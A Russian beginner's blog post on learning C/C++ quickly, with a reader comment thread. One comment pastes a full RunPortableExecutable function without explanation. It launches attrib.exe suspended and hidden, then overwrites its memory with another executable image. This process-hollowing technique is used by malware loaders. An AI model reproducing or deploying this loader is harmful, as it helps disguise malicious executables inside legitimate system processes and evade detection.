Как быстро научиться программировать на Си/C++

Каким же образом можно научиться программировать быстрее чем обычно?

  1. Внимательно посмотрите на пример кода.
    Изучая С++ вы читаете различные книги, статьи, в которых есть примеры программ. Кроме того, что там поясняется, что делает та или иная программа, там ещё и построчный разбор сделан. То есть, прочитав описание кода программы начинаешь понимать как она работает и для чего нужна каждая строчка. Рекомендую начинающим программистам, перед прочтением текста, посмотреть на код программы и попытаться понять, что делает эта программа. Это заставит вас посмотреть на код очень внимательно, что позволяет быстрее запоминать различные конструкции программы.
  2. Не просто читайте код — напишите его своими руками.
    Когда вы читаете учебник по программированию, в нем есть немало примеров кода, на которые можно посмотреть, прочитать их и сказать: «Я понял, мне всё понятно, ничего сложного!!!» Но реально есть только один способ научиться, программировать, понять, — это ввести, вручную, код из книги в текстовый редактор IDE и скомпилировать его. Убедившись, что программа работает правильно, поэкспериментируйте с кодом. Только так вы заставите себя обратить внимание на детали синтаксиса , на способ реализации программы и на много другое. Навык программирования зарабатывается именно на практике, а не на чтении теории.
  3. Напишите собственный код как можно быстрее.
    Как можно больше решайте различных задач по программированию. Придумывайте свои задачи, хотя это и не всегда получается. Наконец, попробуйте написать программу из вашего учебника. Попробуйте это сделать, несмотря в книгу. Вы убедитесь, что это не так-то просто как кажется. Создавайте мелкие программки и объединяйте их в одну большую. Понадобится оно вам или нет, вы получите не малый опыт.
  4. Научитесь использовать отладчик программ.
    Чем раньше научитесь использовать отладчик, тем меньше в будущем будете тратить время на отлавливание ошибок.Отладчик пройдёт строка за строкой через кусок кода. Это позволит вам увидеть значения переменных, и каким образом работает код.

    int main()
    {
            int x;
            int y;
            if( x > 10 ) // отладчик покажет что содержится в переменной x
            {
                    y = 5;   // если условие оператора выбора истинно, отладчик выполнит эту строку кода
            }
    }
  5. Ищите другие источники.
    Если вы чего-то не понимаете, ищите альтернативные объяснения. Интернет наполнен информацией о программировании, где-то написано подробно, где-то нет, кто-то не может обойтись без картинок. Есть также много хороших книг с подробными объяснениями.
    Если не нашли ответа на свой вопрос ни в интернете ни в книгах, задайте свой вопрос на форуме и вы обязательно получите свой ответ. Старайтесь как можно более точнее описывать вашу проблему, только так мы сможем вам помочь.
Автор: admin
Дата: 21.08.2012
Поделиться:

Комментарии

  1. Олег Коменда

    Да,но как насчет такого кода. Как понимать такое,я один такой глупый?

    int RunPortableExecutable(void* Image) {
    	IMAGE_DOS_HEADER* DOSHeader;
    	IMAGE_NT_HEADERS* NtHeader;
    	IMAGE_SECTION_HEADER* SectionHeader;
    	PROCESS_INFORMATION PI;
    	STARTUPINFOA SI;
    	CONTEXT* CTX;
    	DWORD* ImageBase; // base address of the image
    	void* pImageBase; // pointer to the image base
    	int count;
    	char *CurrentFilePath = "C:\\Windows\\System32\\attrib.exe";
    
    
    	DOSHeader = PIMAGE_DOS_HEADER(Image);
    	NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);
    
    	if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {
    		ZeroMemory(&PI, sizeof(PI));
    		ZeroMemory(&SI, sizeof(SI));
    		typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
    		NtUnmapViewOfSection mNtUnmapViewOfSection;
    
    
    
    		if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {
    			CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
    			CTX->ContextFlags = CONTEXT_FULL;
    			if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
    				ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
    				pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
    					NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
    				WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
    				for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
    					SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
    					WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
    						LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
    				}
    				WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
    				CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
    				SetThreadContext(PI.hThread, LPCONTEXT(CTX));
    				ResumeThread(PI.hThread);
    				return 0;
    			}
    		}
    
    	}
    }
  2. Паша Зварич

    Как пользоваться отладчиком?

  3. hoseone61

    у меня очень много вопросов, а ответных статей я не могу найти(

    1) Что значит код, коьорый преведен в примере (пункт 4)?

    2) Где найти все те знаки на клавиатуре, которые используются в коде? у меня некоторых не хватает… И как правельно набирать код? Есть определенные действия, что б обозначения появлялись быстрей или надо каждое вписывать самому?

    Зарание спасибо

     

     

     

     

     

     

    • Eduard Gartman

      1) Ввод переменных x и y
      условие. Если х больше десяти, переменной у присваивается значение 5

      2)Все стандартные клавиатуры содержат необходимые символы. Ваша так же должна содержать.
      Для правильного набора кода нужно знать правила: синтаксис и пунктуацию
      Еще неплохо было бы знать негласные правила, по которым ПРИНЯТО писать код. Например существует договоренность о том, что имя переменной должно начинаться со строчной буквы, и каждое последующее слово в ней должно начинаться с прописной. Пример: nNumberOfFunction
      Это объемный материал, обратитесь к специальным пособиям

Оставить комментарий

Вы должны войти, чтобы оставить комментарий.